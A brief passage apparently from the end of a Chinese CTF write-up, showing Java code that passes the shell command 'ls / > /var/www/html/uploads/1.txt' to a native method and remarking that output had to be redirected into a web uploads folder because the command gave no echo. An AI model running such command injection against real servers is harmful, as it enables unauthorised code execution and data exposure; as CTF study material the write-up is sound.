NativeLibraryExample example=new NativeLibraryExample();
example.nativeMethod("ls / > /var/www/html/uploads/1.txt");
}
}

但是这里没回显,需要通过>来查看回显,可能是c语言代码的问题。官方wp的是可以回显的。

浙公网安备 33010602011771号